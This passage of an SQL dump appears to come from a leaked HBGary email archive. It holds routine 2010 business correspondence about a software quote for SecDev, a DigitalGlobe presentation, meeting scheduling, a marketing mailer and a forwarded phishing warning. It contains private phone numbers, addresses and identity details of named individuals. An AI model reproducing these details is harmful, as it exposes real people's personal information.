LINK!&nbsp;\r\n\r\n',10130,'aaron_hbgary_com/10130.html'),(11599,'2010-09-10','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008734.M280968P14101Q6455.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: u rock','THX! what was that for?On Thu, Sep 9, 2010 at 8:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n',2543,'aaron_hbgary_com/2543.html'),(11600,'2010-09-10','\"carma\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297008734.M495170P14101Q6456.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SecDev needs a quote','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI just tried to call Amav and confirm they are going to get the\r\norder to us today.&nbsp; It was an odd phone call&#8230;do you have a second to chat?&nbsp; Not\r\nsure what number to reach you on.\r\n\r\n&nbsp;\r\n\r\nYou can also try me at 415 970 9727 when you have a moment.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\nCarma\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 6:02 AM\r\nTo: carma@hbgary.com\r\nSubject: Fwd: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n&lt;a.manchanda@secdev.ca&gt;\r\nDate: September 10, 2010 8:58:38 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe address to ship to would be:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNart Villeneuve\r\n\r\n\r\n\r\n\r\n\r\nThe SecDev Group\r\n\r\n\r\n\r\n\r\n\r\n172 Davenport Road\r\n\r\n\r\n\r\n\r\n\r\nToronto, Ontario&nbsp;M5R 1J2\r\n\r\n\r\n\r\n\r\n\r\nCanada\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhone: &nbsp;(416) 926-3983\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-09, at 9:29 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis is great, we\'ll take it! :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRe: our use for it for the large telco, we need it quite\r\nurgent for Monday morning - is there a way this can be facilitated (e.g. a\r\ntemporary license) until he gets the hard product?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow can we do the payment? Can you guys ship to Canada for\r\ndelivery Monday AM?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-09, at 8:20 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Bob\r\nSlapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: September 9, 2010 8:18:08 PM EDT\r\nTo: &quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\nCc: &lt;carma@hbgary.com&gt;,\r\n&quot;\'Penny Leavy-Hoglund\'&quot; &lt;penny@hbgary.com&gt;\r\nSubject: RE: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nQuote\r\nis attached.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;;\r\nPenny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe get them a quote today?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.&nbsp; They don&#8217;t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp;\r\nPlease send a quote for SecDev which Aaron will forward to them.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI\r\nasked Aaron if HBG Fed would be the reseller.&nbsp; He said he would prefer the\r\ntransaction to go through HBGary.&nbsp; Ask Penny about a finder&#8217;s fee for HBG\r\nFed.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Responder Quote RAS-20100909-3 for SecDev.pdf&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',363,'aaron_hbgary_com/363.html'),(11601,'2010-09-10','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297008734.M689409P14101Q6457.eml','aaron@hbgary.com','Meeting Rooms starting at $14 an hour!','\r\n \r\n\r\n \r\n\r\n\r\n\r\n	\r\n Regus \r\n	\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n	 \r\n	  \r\n	    \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                  \r\n	                    Having\r\n	                        trouble viewing this e-mail? See it online.\r\n	                        Please\r\n	                      add email@regusworldwide.com to your address book. \r\n	                    	                    \r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	                \r\n	                \r\n	              \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                Regus\r\n	                    makes successful meetings simple. With more than 4,000\r\n	                    meeting rooms to choose from, state-of-the- art A/V equipment,\r\n	                    free Internet access, catering options, and hourly pricing,\r\n	                    you always get the perfect business venue for the perfect\r\n	                    business meeting. It&rsquo;s the new way to work. And it&rsquo;s\r\n	                    only at Regus. \r\n                        \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                \r\n	                \r\n	                &nbsp;\r\n	                \r\n	              \r\n	                \r\n	                &nbsp;\r\n	                \r\n	                \r\n	              \r\n	            \r\n	            \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        &nbsp;\r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	          \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                1100\r\n	                  locations\r\n	                &nbsp;\r\n	                500\r\n	                  cities\r\n	                &nbsp;\r\n	                85\r\n	                  countries\r\n	                &nbsp;\r\n	                \r\n	              \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                \r\n	                  \r\n	                    1-888-271-4615 \r\n	                      \r\n	                    regus.com\r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                \r\n	                  \r\n	                    Follow\r\n	                        us:\r\n	                    \r\n	                    \r\n	                    \r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            *Rate reflects businessworld membership discount. Hourly pricing based on meeting room accommodating minimum of 4 people during normal business hours. Rates vary by room size and location and do not include additional audiovisual equipment, videoconferencing, or administrative support. Offer valid in participating Regus/HQ locations in U.S. and Canada. Subject to availability.\r\n	              \r\n	              Regus Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may change your requirements by clicking unsubscribe. You can find out more by reading our privacy policy.\r\n	              \r\n	              Regus plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street,\r\n	              St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523.\r\n	            &nbsp;\r\n	            \r\n	          \r\n	        \r\n	      \r\n	    \r\n	  	\r\n\r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n',3350,'aaron_hbgary_com/3350.html'),(11602,'2010-09-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008734.M77356P14101Q6454.eml','\"HBGary Sales Team\" <sales@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','FW: [PubMatic #WHW-579127]: Hello - DO NOT CLICK ON THIS LINK','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDO NOT CLICK ON THIS LINK – ITS SPEAR PHISHING attack.  \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: PubMatic Technical\r\nSupport [mailto:support@PubMatic.com] \r\nSent: Friday, September 10, 2010 7:59 AM\r\nTo: sales@hbgary.com\r\nSubject: [PubMatic #WHW-579127]: Hello\r\n\r\n\r\n\r\n \r\n\r\nTracy\r\nCamarah,\r\n\r\nThank you for contacting us. This is an automated response sent to you in order\r\nto confirm the receipt of your message. We will attend to your ticket as soon\r\nas possible. We&#39;ve listed the details of the ticket you created below for your\r\nrecords. When replying, please keep the ticket&#39;s ID in the subject to ensure\r\nthat your replies are tracked correctly.\r\n\r\n   Ticket ID: WHW-579127\r\n   Subject: Hello\r\n   Department: Support\r\n   Priority: Low\r\n   Status: Open\r\n\r\nYou can check the status of or reply to this Ticket online at: http://pubmatic.helpserve.com/\r\n\r\n\r\n\r\n\r\nYour question may have already been answered in our Knowledge Base section.\r\nFeel free to access it at\r\nhttp://pubmatic.helpserve.com/index.php?_m=knowledgebase&amp;_a=view \r\n\r\nIf your message was sent during the weekend, there may be a delay in response.\r\n\r\n\r\n\r\nPubMatic Technical Support\r\nwww.pubmatic.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12961,'aaron_hbgary_com/12961.html'),(11603,'2010-09-10','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008734.M934093P14101Q6458.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Amos, Gary T\" <Gary.Amos@ManTech.com>,\"Shaw, Mark E\" <Mark.Shaw@ManTech.com>','RE: E-Discover/Expert Witness','Yes, Gary Amos and Mark Shaw are two of our experts in this space and we have several others we can leverage throughout the company.  Is there an opportunity?\r\n\r\nAs for Social Media, I have interested on the PenTest side but not the OSINT side so we would like to send a few folks to evaluate if possible.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 9:46 AM\r\nTo: Eifert, Eric J.\r\nSubject: E-Discover/Expert Witness\r\n\r\nHey Eric,\r\n\r\nDo you have any folks that have e-discovery/expert witness experience?\r\n\r\nWhat do you think on the Social Media discussion?\r\n\r\nAaron\r\n',1740,'aaron_hbgary_com/1740.html'),(11604,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008735.M168992P14101Q6459.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: DigitalGlobe Outline for Presentation','My license reads:Aaron David barrSent from my iPhoneOn Sep 10, 2010, at 10:38 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nwhat is bh?DigitalGlobe wants a perfect match of the following names to the ID:Greg HoglundAaron BarrTed Vera\r\nDo these match each driver license?\r\nOn Fri, Sep 10, 2010 at 7:28 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m sure Greg can handle a lot of how they are implementing the\r\nhost based stuff, with regards to social media aaron will be taking that ball. \r\nMaria did they want any part of the bh talk done?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:59 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Ted Vera; Penny C. Hoglund\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n \r\n\r\n-Yes he wants the social media training included.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy interpretation is they want to know how other\r\norganizations are approaching the malware problem insofar as these strategies\r\ncould be adopted at DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nfor example:\r\n\r\n\r\n\r\n\r\n\r\n-Policies on social media etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Adoption of behavior based technologies for detection\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Analyzing malware and utilizing threat intelligence\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Segmenting networks and internet access\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Integrated approach: perimeter protection, web protection,\r\nendpoint protection -- what technologies are being adopted\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Organizational impact: having a SOC versus managed\r\nservices, having an IR documented plan, workflow etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe want to focus on their problem and what they can do based\r\non what others are doing today...\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nOne missing piece is Daniel is expecting to hear a bit about\r\nsocial media during the CIO/CTO presentation.  He specifically told me he\r\nwanted to present some of that information in that forum.  I don&#39;t have to\r\ntake a lot of time, 10-15min. I can convey enough information.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria, to what level do they want information on DoD, NSA,\r\nCyberCOM information?  Is this a how does NSA detect APT (Tutiledge), DHS\r\n(Einstein), how does malware analysis fit into the Incident handling process,\r\netc?  Do they want information on the DIB (Defense Industrial Base)\r\ninitiative and how the CNCI is being implemented?  Legislation?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Monday you will be presenting at Digital Globe -- the\r\nagenda is attached and approved by DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted will both be attending.  Aaron is there\r\nto present Social Engineering Training and Ted is there to assist with the\r\nActive Defense software sale and will help to provide installation, deployment\r\nand training post-sale.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am available to review the agenda anytime.  I will be\r\nreviewing the agenda with Ted and he said that he will be there to keep you on\r\ntrack and be responsible to make sure that we cover all the topics important to\r\nclosing the deal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would attend the meeting normally but I believe you\r\nare in excellent company already.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know when you would like to do this?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGARY PRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n\r\n',15040,'aaron_hbgary_com/15040.html'),(11605,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008735.M510360P14101Q6460.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: u rock','Just in general.Sent from my iPhoneOn Sep 10, 2010, at 11:08 AM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nTHX! what was that for?On Thu, Sep 9, 2010 at 8:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n',1495,'aaron_hbgary_com/1495.html'),(11606,'2010-09-10','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297008735.M795133P14101Q6461.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Let\'s do Wednesday next week.  Are you in DC then or do you want to just grab a call?  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:51 PM\r\nTo: Matt Bigge\r\nSubject: Re: Introduction\r\n\r\nHey Matt,\r\n\r\nSorry got piled up.\r\n\r\nWhen are some other opportunities?  I potentially have some time mid day tomorrow, or next wed or friday?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Sep 8, 2010, at 10:33 AM, Matt Bigge wrote:\r\n\r\n> I\'m open Thursday after 12pm as well.  Would that work?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 6:53 PM\r\n> To: Matt Bigge\r\n> Cc: Nathan Atherley\r\n> Subject: Re: Introduction\r\n> \r\n> Hey Matt,\r\n> \r\n> I will be in Denver early next week.  Shoot me a few other dates/times that might work.\r\n> \r\n> Aaron\r\n> \r\n> On Sep 7, 2010, at 5:24 PM, Matt Bigge wrote:\r\n> \r\n>> Nate - great to meet you this morning. You are working on some pretty cool things and it would be great to help in any way I can.\r\n>> \r\n>> Aaron - It sounds like you are working on something that might be helpful on a project we are currently pursuing.  I\'ll in my Rosslyn office all of next week.  Perhaps we could get together?  Monday and Tuesday are best for me.\r\n>> \r\n>> Regards,\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, September 07, 2010 3:55 PM\r\n>> To: Nathan Atherley\r\n>> Cc: Matt Bigge\r\n>> Subject: Re: Introduction\r\n>> \r\n>> Nate,\r\n>> \r\n>> Thanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n>> \r\n>> Greg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n>> \r\n>>> Aaron\r\n>>> \r\n>>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n>>> \r\n>>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>>> \r\n>>> Nathan\r\n>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',7502,'aaron_hbgary_com/7502.html'),(11607,'2010-09-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008736.M712606P14101Q6463.eml','\"Barr Aaron\" <aaron@hbgary.com>','Tomorrow by noon','You can cash both checks. The deposit for $19k hit. \r\n\r\n',781,'aaron_hbgary_com/781.html'),(11608,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008736.M73198P14101Q6462.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: DigitalGlobe Outline for Presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Gregory Hoglund\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 9:06 AM\r\nTo: Maria Lucas\r\nCc: Penny Leavy-Hoglund; Greg Hoglund; Ted Vera\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMy license reads:\r\n\r\n\r\n\r\n\r\n\r\nAaron David barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 10:38 AM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwhat is bh?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDigitalGlobe wants a perfect match of the following names to\r\nthe ID:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg Hoglund\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nTed Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo these match each driver\r\nlicense?\r\n\r\n\r\n\r\nOn Fri, Sep 10, 2010 at 7:28 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m sure Greg can handle a lot of how\r\nthey are implementing the host based stuff, with regards to social media aaron\r\nwill be taking that ball.&nbsp; Maria did they want any part of the bh talk\r\ndone?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com] \r\nSent: Thursday, September 09, 2010 6:59 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Ted Vera; Penny C. Hoglund\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n-Yes\r\nhe wants the social media training included.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy\r\ninterpretation is they want to know how other organizations are approaching the\r\nmalware problem insofar as these strategies could be adopted at DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nfor\r\nexample:\r\n\r\n\r\n\r\n\r\n\r\n-Policies\r\non social media etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Adoption\r\nof behavior based technologies for detection\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Analyzing\r\nmalware and utilizing threat 